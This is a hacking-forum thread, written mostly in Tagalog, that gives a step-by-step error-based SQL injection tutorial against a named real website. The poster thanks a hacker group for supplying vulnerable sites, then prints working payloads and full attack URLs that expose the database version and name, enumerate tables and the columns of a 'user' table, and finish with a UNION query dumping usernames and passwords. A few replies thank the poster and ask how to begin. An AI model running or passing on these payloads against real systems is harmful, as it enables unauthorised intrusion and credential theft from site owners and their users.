What's new

Closed -= error base query [advanced sql injection] =-

Status
Not open for further replies.

mervinp

Forum Veteran
Joined
Dec 23, 2016
Posts
2,261
Reaction
2,684
Points
786
-=-= Error Base Query [Advanced SQL Injection] =-
Greetings! Pala sa mga häçker AnonyPH sa pagbibigay sakin ng mga Vulnerable website! for tutorial..!!!!!

-= DIFFICULTY =-


Code:
Intermediate Level 2

-= REQUIREMENTS =-

Common Sense.exe
Brain.exe
Understanding.exe
Intuition.exe

-= UNDERSTANDING ERROR BASE QUERY =-

PARA SAAN BA ITONG ERROR BASE QUERY?

Itong method na ito para makuha natin ang mga inpormasyon...

Na kailangan natin galing sa database ng site...

Kapag ang UNION SELECT function ay hindi gumagana...


PAANO NAMAN ITO GUMAGANA O GINAGAMIT?

Ginagamit o ginagawa ito sa pamamagitin ng pag-compiled ng mga query...

Para mahanap natin ang mga inpormasyon sa database...


PAANO BA MALALAMAN KUNG KAILAN GAGAMITIN ANG ERROR BASE QUERY?

Napakaimportante nito sa Web häçking...

Dapat alam mo kung anong injection ang gagamit...

Sa iba't-ibang sitwasyon....

Gagamit ka lang ng ERROR BASE QUERY...

Kapag may mga error kang nakuha tulad ng mga sumusunod:

Code:
1] The Used Select Statements Have  Different Number Of Columns.[/COLOR][/B][/B][/CENTER][/COLOR][/B][/B][/CENTER]
[B][B][COLOR=rgb(64, 64, 64)]
[CENTER][B][B][COLOR=rgb(64, 64, 64)]
[CENTER]
2] Unknown Column 1 or no columns at all (in webpage and page source).

3] Error #1604

4] Pwede mo rin gamitin ito sa mga hidden table names or column names.



Mukhang malabo ata ang pagkaexplain ko hehe?

Sige punta na nga tayo sa totoong laban...

Baka mabugbog pa ako dito...


-= INSTRUCTIONS =-

TARGET SITE:

Code:
Code:
www.actforkids.com.au/news_full.php?id=111

Kukunin ko lang dito sa site yun mga nakatagong...

Table Names at Column Names niya...

Kasi kung sa UNION BASE SQLi hindi siya nag-aapear...

Kaya wala kayong makikitang error after pag-inject ko ng UNION SELECT command...

Pero tulad na nga ng sinabi ko sa taas pang # 4...

Hindi ko na isasama ang paggamit ng ORDER BY at UNION SELECT command dito...

Kasi alam ko na marunong na kayo nun...

-= STEP#1: GETTING DATABASE VERSION =-

Paano makukuha siya?

Ito ang gagamitin natin query para makita natin ang version ng database...


Code:
Code:
or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--

Ganito ang actual result niya:

Code:
Code:
www.actforkids.com.au/news_full.php?id=111 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--

Ito ang makikita niyo sa database niya, kung anong version:

Code:
Code:
Duplicate entry '5.0.24a-Debian_9ubuntu2.4-log:1' for key 1
errorbase001.jpg

Ok version 5+ siya, kung less than 5 naman siya...

Hindi gagana ang query natin, kasi yung "information_schema" doesn't exist...



-= STEP#2: GETTING DATABSE NAME =-

Ito ang query niya:

Code:
Code:
and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit N,1),floor(rand(0)*2))x from information_schema.tables group by x)a)[/B][/CENTER][/B][/CENTER]
[B]
[CENTER][B]
[CENTER]



NOTE:

Kung napapansin niyo itong "limit N" function sa query...

Sobrang importante siya pag-extract ng information sa database...

Bakit?

Ganito siya..

Sa "LIMIT N"...

Ang "N" natin ay random integer...

Pwede mo siyang palit-palitan para makuha nga nating yung mga importanteng information sa database...


Example:

Parang ganito ang mangyayari sa kaniya...

Code:

Code:
limit 0,1[/COLOR][/B][/CENTER][/COLOR][/B][/CENTER]
[B][COLOR=#000000]
[CENTER][B][COLOR=#000000]
[CENTER]

limit 1,1

limit 2,1
[COLOR=rgb(0, 179, 0)][/COLOR]
And so on...



Actual result:

Code:
Code:
www.actforkids.com.au/news_full.php?id=111 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Output niya:

Code:
Code:
Duplicate entry 'it2kdomains_actforkids2~1' for key 1

Database niya :

Code:
Code:
it2kdomains_actforkids2
errorbase002 (1).jpg

-= STEP#3: GETTING TABLE NAMES =-

Query para sa ating table names

Code:
Code:
and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit N,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Actual result:
Code:
Code:
www.actforkids.com.au/news_full.php?id=111 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Kung mapapansin niyo sa query...

Yung
"limit N" niya, pinalitan ko ng "limit 0"...

Kaya ito ang lumabas "_session"...
errorbase003.jpg



Hindi yan ang kailangan nating table name...

Kaya tinaas ko pa yung numerong ginamit ko...

Like, "limit 10", "limit 26" and so on...

Hanggat napunta ako sa "limit 54"...

At dun yung kailangan nating table name...

Itong "user"...

Actual result:


Code:
Code:
www.actforkids.com.au/news_full.php?id=111 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 54,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
errorbase004.jpg


Ito yung mga valuable table names:
Code:
Code:
Users

Admin
user
administrator
tbladmin
tblusers
settings


-= STEP#4: GETTING COLUMN NAMES FROM SPECIFIC TABLE NAMES =-


Ngayon mayroon na tayong table name [ user ]...

Kukunin naman nating yung column names...

Ito ang query niya:


Code:
Code:
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xTABLEHEX limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

NOTE:


Tignan niyo itong "0xTABLEHEX
" function sa query...

Itong "0x" standard na siya hindi na yan papalitan...

Ito namang "TABLEHEX" kailangan naka "HEXADECIMAL" yung table name natin...

Diba ang ang table name nati ay "user" kung papalitan natin sa hex...

Ganito ang kalalabasan niya: "75736572"

Kaya ito ang kumpletong command niya: "0x75736572"

Ganito pala ang pagconvert niya from characters to hex:

Highlight niyo muna yung "user" sa query...

Then ENCODING > HEX ENCODING > STRING TO 00FF00FF...

Tignan niyo na lang sa dito image...
errorbase005.jpg

Gamit pala kayo ng "häçkBAR", Ad-On siya sa firefox...

Actual result:


Code:
You do not have permission to view the full content of this post. Log in or register now. and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x75736572 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
errorbase006.jpg


Ito ang lumabas sa "limit 0": Id...

Hindi yan ang kailangan natin na column name...

Kaya magtataas ulet ako ng numero sa limit function...

Gagawin kong "limit 1" siya...

Ito ang lalabas sa "limit 1" function: UserName...

Yan ang hinahanap natin na column name...

Actual result:

Code:
Code:
www.actforkids.com.au/news_full.php?id=111 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x75736572 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
errorbase007.jpg

Kung gagawin ko naman "limit 2" siya

Ito ang lalabas sa kanya: PassWord...

Actual result:


Code:
Code:
www.actforkids.com.au/news_full.php?id=111 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x75736572 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
errorbase008.jpg



-= STEP#5: EXTRACTING THE DATA FROM COLUMNS =-


Ok mayroon na nga tayong column names: UserName at PassWord...

Kailangan na lang natin kunin ang data niya dito sa column...

Ito ang query niya:
Code:
Code:
and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAME_1,0x7e,COLUMN_NAME_2) as char),0x7e)) from DATABASENAME.TABLENAME limit N,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

NOTE:

KUng napapansin niyo may mga nakikita sa query ng mga ganito:

Code:
Code:
COLUMN_NAME_1

COLUMN_NAME_2
DATABASENAME
TABLENAME

Papalitan yan natin ng mga nakuha nating kaninang database name, table names at column names...

Huwag niyo din kalimutan palit-palitan ang "limit N" function sa query...

Hanggat lumabas yung pass at username...

Ganito siya:

Code:
Code:
COLUMN_NAME_1 = UserName


COLUMN_NAME_2 = PassWord

DATABASENAME = it2kdomains_actforkids2

TABLENAME = user

Itong actual result:

Code:
Code:
www.actforkids.com.au/news_full.php?id=111 and (select 1 from (select count(*),concat((select(select concat(cast(concat(UserName,0x7e,PassWord) as char),0x7e)) from it2kdomains_actforkids2.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

errorbase009.jpg

Kung mapapansin niyo sa page ng site...

Wala pa yung password at username niya...

Kahit anong ilagay kung numero sa limit function wala talga...

Dapat lumabas na diyan username at password diyan sa page...

Minsan talga nangyayari ang mga ganitong sitwasyon...


Kaya may simpleng solusyon akong gagawin...

Di ba alam naman natin yung table names at column names ng database...

Gagawin natin yung UNION BASE SQLi dito...

Alam niyo naman ang pagkuha ng bilang ng columns at vulnerable column...

Gagamitin natin yung query niya sa pagdump ng password at username...

Actual result:

Code:
Code:
www.actforkids.com.au/news_full.php?id=-111+UNION+SELECT+1,group_concat(UserName,0x3a,PassWord,0x3a),3,4,5,6,7,8,9,10,11,12,13,14+FROM+user--
errorbase010.jpg


Diyan na nagtatapos ang ating ERROR BASE QUERY tutorial... wooh kapagod ah XD?

Alam ko madali naman makuha ang mga tut ko...

Kaya wala naman siguro dito mangyayari maraming katanungan...

LIKES FOR EFFORT!!!!!!!!!!!!!!

-//-MY OTHERS häçkING TUTORIAL-//-

https://phcorner.net/t/häçk-websites-via-union-based-sql-injection-beginners-guide.285937/

https://phcorner.net/t/string-base-sql-injection.286314/
 

Attachments

Last edited:
kahit wala pa akong idea sa mga ganyang bagay,binasa ko parin lahat.Madali lang syang intindihin.Matutunan ko rin yan haha..Maraming salamat sa tut ts.Bookmark ko muna.
 
kahit wala pa akong idea sa mga ganyang bagay,binasa ko parin lahat.Madali lang syang intindihin.Matutunan ko rin yan haha..Maraming salamat sa tut ts.Bookmark ko muna.
Welcome!makukuha mo din yan hehe..:)
 
Last edited by a moderator:
Ty sir gusto ko matuto ng mga ganito e kaso wala ko bckground sa mga ganyan ...san po ba dapat magsimula
 
Status
Not open for further replies.

Similar threads

Back
Top